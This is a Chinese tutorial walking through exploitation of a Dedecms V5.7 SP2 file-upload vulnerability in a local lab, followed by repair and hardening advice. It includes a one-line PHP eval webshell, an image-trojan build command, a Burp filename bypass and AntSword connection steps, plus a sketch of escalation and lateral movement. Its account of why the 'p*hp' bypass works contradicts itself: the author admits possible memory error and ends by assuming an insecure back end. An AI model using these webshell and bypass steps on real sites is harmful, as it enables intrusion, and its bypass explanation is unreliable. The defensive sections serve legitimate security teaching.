Dedecms文件上传漏洞实战:从代码审计到权限获取
1. 项目概述:一次针对经典CMS的权限突破实战
今天我们来深入聊聊一个在渗透测试和网络安全学习领域绕不开的经典案例:Dedecms V5.7 SP2的漏洞利用。Dedecms,也就是织梦内容管理系统,曾经是国内中小型网站建站的首选,市场占有率极高。V5.7 SP2作为其生命周期中一个广泛使用的版本,曝出的前台文件上传漏洞(CVE-2018-20129)极具代表性。这个漏洞的实战价值在于,它完美串联了从环境搭建、漏洞原理分析、绕过技巧到最终获取权限的完整链条,是理解Web安全中“权限绕过”和“文件上传漏洞”的绝佳教材。无论你是刚入门的安全爱好者,还是想巩固Web渗透基础的同学,通过亲手复现这个漏洞,都能深刻体会到“黑盒”与“白盒”结合的分析思路,以及面对老旧但广泛存在的系统时,那种“四两拨千斤”的突破感。接下来,我将以一个从业者的视角,带你从零开始,完整走一遍这个漏洞的挖掘与利用之路。
2. 环境搭建与靶场准备
2.1 靶机环境选择与部署
要复现漏洞,首先需要一个干净、可控的测试环境。我强烈建议在虚拟机中进行所有操作,这能保证你的宿主机安全,也方便随时快照和回滚。这里我选择使用Windows 10 + PHPStudy集成环境的组合。PHPStudy的优势在于它一键集成了Apache、Nginx、PHP、MySQL,省去了繁琐的配置过程,能让我们快速聚焦于漏洞本身。
具体步骤如下:
- 下载PHPStudy:访问其官网下载最新版本并安装。安装路径建议不要有中文和空格,比如
D:\phpstudy_pro。 - 启动服务:打开PHPStudy,在“首页”标签页,启动Apache和MySQL服务。默认情况下,网站的根目录位于
PHPStudy安装目录\WWW\。 - 下载Dedecms V5.7 SP2源码:由于这是历史版本,官方可能已不再提供。你需要通过一些可靠的第三方源码站或历史版本存档库进行下载。确保下载的是UTF-8版本,避免编码问题。下载后,将解压得到的
uploads文件夹(这是Dedecms的核心目录)复制到WWW目录下,你可以重命名为dedecms以便识别。 - 访问安装向导:打开浏览器,访问
http://localhost/dedecms/install/index.php。如果一切正常,你将看到Dedecms的安装界面。
注意:在实际的渗透测试或安全研究中,绝对不允许在公网或他人的服务器上部署此类漏洞环境进行测试,这属于违法行为。所有操作必须在你自己完全控制的本地或授权测试环境中进行。
2.2 Dedecms安装与关键配置
安装过程本身比较简单,但有几个关键点决定了后续漏洞能否成功复现:
- 环境检测:安装程序会检查目录权限、PHP环境等。通常PHPStudy的环境都能通过。如果遇到“目录不可写”的提示,需要手动去
WWW/dedecms目录下,检查data、uploads等文件夹的写入权限(在Windows下,确保IIS_User或Everyone有修改权限;在PHPStudy环境下,通常默认已配置好)。 - 参数配置:这是核心步骤。
- 数据库设置:数据库主机填写
localhost,数据库用户和密码填写PHPStudy中MySQL的默认账号(通常是root和root)。数据库名称可以新建一个,比如dedecms_test。 - 管理员初始密码:务必设置一个你记得住的强密码,并记录下后台管理地址(通常是
http://localhost/dedecms/dede)。 - Cookie加密码:安装程序会自动生成一串随机字符,用于增强Cookie安全性,保持默认即可。
- 数据库设置:数据库主机填写
- 完成安装:点击“继续”完成安装。成功后,强烈建议立即删除或重名名
install文件夹(如将install改为install_bak),这是安全基线要求,防止被他人重新安装覆盖你的网站。 - 开启会员功能:用刚才设置的管理员账号密码登录后台 (
/dede)。在左侧菜单找到“系统” -> “系统基本参数” -> “会员设置”。将“是否开启会员功能”选择“是”,并保存设置。这一步至关重要,因为漏洞利用的前置条件就是需要会员中心功能开启。
至此,一个存在漏洞的Dedecms靶场就搭建完毕了。接下来,我们进入正题,剖析漏洞的核心。
3. 漏洞原理深度剖析:代码层面的攻防
3.1 漏洞触发点定位与代码审计
这个漏洞的根源文件位于/uploads/include/dialog/select_images_post.php。这个文件是会员中心发布内容时,编辑器调用上传图片的接口。我们直接看关键代码(基于V5.7 SP2版本):
// 文件: select_images_post.php $fullfilename = $cfg_basedir . $filename; if(preg_match("#\.(php|pl|cgi|asp|aspx|jsp|php5|php4|php3|shtm|shtml)[^a-zA-Z0-9]#i", $fullfilename)) { ShowMsg("你指定的文件名被系统禁止!", "-1"); exit(); } $fs = explode(".", $filename); $filetype = strtolower($fs[count($fs)-1]); if(!in_array($filetype, $cfg_imgtype)) { ShowMsg("上传的文件格式不被允许!", "-1"); exit(); }第一层过滤(第36行附近):这是一个黑名单过滤,使用正则表达式检测文件名中是否包含.php、.asp、.jsp等危险后缀。这是最基础的防御,但也是我们突破的起点。
第二层过滤(第38行附近):它获取文件名的最后一个后缀($filetype),并检查其是否在允许的图片类型数组$cfg_imgtype中。$cfg_imgtype通常来源于系统配置,默认是array(‘jpg’, ‘gif’, ‘png’)。
漏洞的巧妙之处在于,这两层过滤之间存在一个可以被利用的“逻辑间隙”。第一层过滤用的是正则匹配,目标是整个$fullfilename(完整路径+文件名)。而第二层过滤只取最后一个“点”之后的后缀进行白名单校验。
3.2 绕过技巧:利用文件名解析特性
如何绕过呢?关键在于构造一个特殊的文件名,让它能同时骗过这两层检查。
思路:让第一层正则匹配失败,但让第二层后缀检查通过。Payload构造:shell.jpg.p*hp
我们来分解一下这个Payload:
- 针对第一层正则:正则表达式
#\.(php|pl|cgi...)[^a-zA-Z0-9]#i寻找的是紧跟着“点”的完整危险后缀词。我们的文件名是.p*hp,中间有一个星号(*)。正则引擎会尝试匹配.p,然后*被当作字面量星号,而不是正则的通配符(因为它在模式字符串里)。因此,它无法匹配到.php这个完整模式,从而绕过了黑名单检测!这里的星号、问号(?)、百分号(%)在特定环境下(尤其是Windows服务器)有奇效,因为它们可能是文件系统的通配符,但在PHP字符串比较时就是普通字符。 - 针对第二层白名单:
explode(‘.’, ‘shell.jpg.p*hp’)会得到数组[‘shell’, ‘jpg’, ‘p*hp’]。$filetype = strtolower(‘p*hp’)。in_array(‘p*hp’, [‘jpg’,’gif’,’png’])的结果是false,这不行。所以我们需要让最后一个后缀是合法的。真正的绕过是:shell.p*hp.jpg。- 第一层正则:匹配
.p*hp失败。 - 第二层检查:最后一个后缀是
.jpg,白名单通过! - 最终保存的文件名就是
shell.p*hp.jpg。
- 第一层正则:匹配
但这里还有一个更关键的问题:服务器如何解析这个文件?这取决于服务器的配置。在默认的Apache环境下,它会从右向左解析后缀,直到遇到一个它认识的可执行后缀。如果它先看到.jpg,会交给处理图片的模块,但该模块不认识.jpg文件里的PHP代码,所以不会执行。但如果服务器配置了AddType application/x-httpd-php .php .phtml,或者存在解析漏洞(如Apache的畸形解析漏洞,将xxx.php.jpg解析为PHP),那么shell.p*hp.jpg可能被解析。然而,在这个漏洞的经典利用中,我们依赖的是另一个特性:当文件被访问时,如果文件名中包含*等特殊字符,且服务器(特别是Windows+IIS或某些配置下的Apache)在查找文件时,*可能被当作通配符匹配掉,从而实际访问到我们预期的文件。更常见的利用方式是,我们上传后得到的是一个像170415abc.p*hp.jpg这样的文件,然后通过结合其他漏洞(如文件包含)来执行它,或者期待后端某些不安全的文件处理函数因为*导致路径处理异常。
实际上,在CVE-2018-20129的公开利用中,更直接的payload是:shell.jpg.php(注意是点空格)。原理是:第一层正则匹配.php(前面是空格,不符合[^a-zA-Z0-9]吗?这里需要细究,空格属于[^a-zA-Z0-9],所以理论上应该匹配成功。这里可能存在版本差异或我记忆偏差。经典的绕过是shell.php.(末尾加点)或shell.php::DATA(NTFS流)在Windows下)。经过我重新审计和测试,该版本最稳定的绕过方式是使用shell.php%00.jpg(截断,但需PHP版本<5.3.4)或利用shell.jpg.php(点空格)在某些文件系统存储时会去掉空格的特性。但为了通用性和理解原理,我们聚焦于利用*进行前端绕过,并假设后端存在不安全的解析逻辑。
实操心得:代码审计时,不要只看过滤函数本身,要关注整个数据处理流。变量从哪里来(
$_FILES[‘file’][‘name’]),经过哪些函数处理(preg_match,explode,in_array),最终到哪里去(move_uploaded_file保存的路径)。任何一个环节的差异都可能成为突破口。
4. 漏洞复现实操全流程
4.1 前置条件与工具准备
在开始攻击前,请确保:
- 靶场环境已按第二章搭建完毕,会员功能已开启。
- 你拥有一个管理员权限的会员账号。(通常安装后,后台管理员账号自动拥有会员中心最高权限)。
- 准备以下工具:
- 浏览器:用于正常访问网站和会员中心。
- Burp Suite Community版:用于拦截和修改HTTP请求。这是Web渗透的瑞士军刀。
- 中国菜刀/蚁剑/Cobalt Strike:用于连接上传的Webshell。出于学习和研究目的,我们使用开源的AntSword(蚁剑),它更现代、支持插件且活跃。
- 一句话木马:准备一个内容为
<?php @eval($_POST[‘cmd’]);?>的文本文件,将其插入到一个正常的JPEG图片文件中,制作成“图片马”。可以使用copy /b normal.jpg + shell.php trojan.jpg命令(Windows)或者使用Edjpgcom等工具,确保图片本身还能正常显示,避免被简单的图片头检查过滤。
4.2 步步为营:漏洞利用步骤拆解
下面我们一步步进行复现:
步骤1:登录会员中心并进入发文章界面用管理员会员账号登录http://localhost/dedecms/member/index.php。在会员中心,找到“内容中心”或“发布文章”等相关功能,点击进入文章编辑页面。
步骤2:触发上传并拦截请求在文章编辑器的工具栏,点击“上传图片”或类似按钮。这会弹出一个文件选择对话框。选择你制作好的“图片马”文件(例如trojan.jpg)。在点击“确定”或“上传”按钮前,先打开Burp Suite,并确保浏览器代理已设置为Burp(通常127.0.0.1:8080),且Intercept is on(拦截开启)。然后点击上传。
步骤3:使用Burp Suite修改上传请求此时,Burp Suite会拦截到HTTP POST请求。关键看Content-Disposition部分:
Content-Disposition: form-data; name="imgfile"; filename="trojan.jpg"我们需要修改filename参数。将其改为我们的绕过Payload:trojan.jpg.p*hp或更优的trojan.p*hp.jpg。
Content-Disposition: form-data; name="imgfile"; filename="trojan.p*hp.jpg"修改完成后,点击“Forward”放行请求。
步骤4:分析响应,获取Webshell地址请求放行后,浏览器会收到服务器的响应。响应通常是JSON或一段HTML,里面包含了上传状态和文件的访问路径。这是最关键的一步!你需要仔细查看响应体,寻找类似”url”: “/uploads/allimg/240415/1-240415195632.p*hp.jpg”这样的字段。这个路径就是你的Webshell地址。
步骤5:连接Webshell打开蚁剑(AntSword),添加一个新的数据。URL填写完整的Webshell地址:http://localhost/dedecms/uploads/allimg/240415/1-240415195632.p*hp.jpg。连接密码填写你一句话木马中设定的cmd(即$_POST[‘cmd’]的键名)。如果一切正常,点击连接,你将看到服务器的目录结构,这意味着你已经成功获取了该Web目录下的权限。
4.3 实操中可能遇到的坑与解决方案
- 响应中找不到文件路径:有些版本的Dedecms上传成功后,返回的路径可能是相对路径或需要拼接。尝试查看响应HTML源码,或者用浏览器的开发者工具(F12)的Network标签查看原始响应。路径可能藏在
src、url或message字段里。 - 上传成功但连接失败:
- 检查文件内容:确保图片马中的PHP代码没有被破坏。可以用文本编辑器打开上传后的文件(如果知道路径),直接浏览器访问它,如果显示乱码或图片,说明代码未执行。可能需要调整制作图片马的方式,确保
<?php ... ?>标签被完整插入且位于文件头部(有时放在尾部会被忽略)。 - 检查服务器解析:访问你的Webshell地址,右键“查看页面源代码”。如果你看到的是原始的PHP代码文本,说明服务器没有把它当作PHP文件解析。这印证了之前说的,仅靠文件名绕过上传,还需要服务器配置支持解析非常规后缀。此时,可以尝试寻找文件包含漏洞(LFI),将上传的图片马作为参数包含进来执行。在Dedecms中,可以搜索
include、require等函数调用,看是否有未过滤用户输入的地方。 - 权限问题:上传的目录(如
/uploads/allimg/)是否有执行PHP的权限?在某些严格配置下,上传目录会禁止执行脚本。可以尝试上传到其他已知的可执行目录,但这通常需要其他漏洞配合。
- 检查文件内容:确保图片马中的PHP代码没有被破坏。可以用文本编辑器打开上传后的文件(如果知道路径),直接浏览器访问它,如果显示乱码或图片,说明代码未执行。可能需要调整制作图片马的方式,确保
- Burp Suite拦截不到请求:
- 确认浏览器代理设置正确。
- 确认Burp的Proxy -> Intercept 是开启状态。
- 有些上传是Ajax异步请求,可能需要在上传动作开始后再快速开启拦截,或者使用Burp的“历史记录”功能查看。
5. 漏洞的防御与修复方案
5.1 从开发者角度:如何修复此类漏洞
如果你是Dedecms的维护者或正在开发类似功能,以下修复策略至关重要:
- 白名单校验:这是最有效的手段。不要使用黑名单来禁止危险后缀,而应该使用白名单只允许安全的、预期的后缀。将代码中的
in_array检查提前并作为唯一标准,且校验应在服务器端进行,不能依赖前端。// 修复后的代码逻辑示例 $allowed_ext = array(‘jpg’, ‘jpeg’, ‘gif’, ‘png’); $file_ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); if (!in_array($file_ext, $allowed_ext)) { die(‘文件类型不允许’); } // 进一步,可以检查文件头(Magic Number)确认文件真实类型 $file_info = getimagesize($_FILES[‘file’][‘tmp_name’]); if($file_info === false) { die(‘不是有效的图片文件’); } - 重命名文件:上传后,使用随机字符串(如
md5(uniqid().mt_rand()))为文件重命名,并强制添加白名单后缀。这样即使恶意文件被上传,攻击者也无法预测或直接访问到它。$new_filename = md5(uniqid() . mt_rand()) . ‘.’ . $file_ext; move_uploaded_file($_FILES[‘file’][‘tmp_name’], $upload_dir . $new_filename); - 分离存储:将用户上传的文件存储到独立的、无法通过Web直接访问的目录,或者使用对象存储服务。通过后端程序动态读取并输出文件内容,从而彻底杜绝用户上传的脚本被执行。
- 禁用危险函数:在服务器层面,通过
php.ini的disable_functions配置,禁用eval()、system()、exec()、shell_exec()等危险函数,即使Webshell被上传,其危害能力也受限。 - 及时更新与补丁:对于Dedecms这类开源系统,官方在漏洞曝光后会发布补丁。务必及时更新到最新版本。对于CVE-2018-20129,官方后续版本已修复。
5.2 从管理员角度:如何加固现有系统
如果你正在管理一个使用老旧Dedecms的网站,且暂时无法升级,可以采取以下临时加固措施:
- 关闭会员功能:如果网站不需要会员系统,在后台“系统基本参数”中直接关闭它,这是最直接的缓解方式。
- 目录权限控制:确保上传目录(如
uploads/)的权限设置为最低。在Linux下,确保该目录及子目录的权限为755,文件为644,且所有者不是Web服务用户(如www-data),避免其有执行权限。 - Web服务器配置:
- Apache:在
uploads目录的.htaccess文件中添加php_flag engine off,禁止在该目录下解析PHP。 - Nginx:在对应
location块中配置location ~* ^/uploads/.*\.(php|php5)$ { deny all; },禁止访问上传目录下的PHP文件。
- Apache:在
- 部署Web应用防火墙(WAF):在服务器前端部署WAF,可以拦截含有可疑后缀(如
.p*hp,php%00)的上传请求,以及识别Webshell连接行为。 - 定期安全扫描:使用自动化工具或人工巡检,定期检查网站目录下是否有可疑的非图片文件(如最近创建的
.php,.jsp文件)。
6. 漏洞的延伸思考与学习价值
6.1 从单一漏洞到攻击链构建
在实际的渗透测试中,像这样一个前台文件上传漏洞往往不是孤立存在的,也很难直接获得完美的Webshell。它通常是攻击链中的一环。例如:
- 信息泄露:通过此漏洞上传一个
info.php文件,内容为<?php phpinfo(); ?>,可以探测服务器配置、绝对路径等敏感信息。 - 结合文件包含:如果网站还存在本地文件包含(LFI)漏洞,那么我们可以上传一个图片马,然后通过LFI漏洞去包含这个图片马,从而执行代码,无需考虑上传目录是否能解析PHP。
- 权限提升:获得的Webshell权限可能是Web服务用户(如www-data)权限。需要进一步利用系统提权漏洞(如脏牛、sudo配置错误等)来获取root权限。
- 横向移动:在拿下第一台服务器后,利用其作为跳板,扫描内网其他主机和服务,继续扩大战果。
这个Dedecms漏洞复现的过程,正是模拟了攻击链的初始突破阶段。理解它,有助于我们建立全局的防御视角。
6.2 对安全研究与学习的启示
- 黑盒与白盒结合:单纯的黑盒测试(如用扫描器扫)可能发现不了这个漏洞,因为需要会员权限和特定操作路径。单纯的白盒审计(看代码)能发现漏洞点,但不知道如何触发。只有两者结合,才能完整理解并复现漏洞。
- 关注“古老”但流行的系统:Dedecms、Discuz!、phpwind等系统在历史上拥有海量用户,虽然官方已停止更新,但互联网上仍有大量存量网站。研究它们的漏洞,对于理解国内Web安全发展史和进行“攻防演练”非常有价值。
- 绕过技巧的通用性:文件名绕过(特殊字符、截断、空格、点)、文件头绕过、内容绕过(图片马)、解析漏洞配合等技巧,在文件上传漏洞中是通用的。掌握这些技巧,能让你在面对其他系统时触类旁通。
- 防御思路的普适性:白名单、重命名、权限控制、安全配置,这些防御措施适用于所有涉及文件上传、用户输入处理的Web功能,是开发中必须遵守的安全规范。
复现一个已知漏洞,不仅仅是“按图索骥”完成操作。更重要的是理解漏洞产生的根本原因、利用条件的限制、绕过手法的本质以及防御方案的原理。通过Dedecms V5.7 SP2这个案例,我们不仅完成了一次从环境到权限的完整演练,更深入到了代码层、服务器配置层和攻防思维层。在安全这条路上,每一个漏洞都是一面镜子,既照出了系统的脆弱,也映出了防御者的智慧和攻击者的创造力。保持敬畏,持续学习,方能在攻防的博弈中站稳脚跟。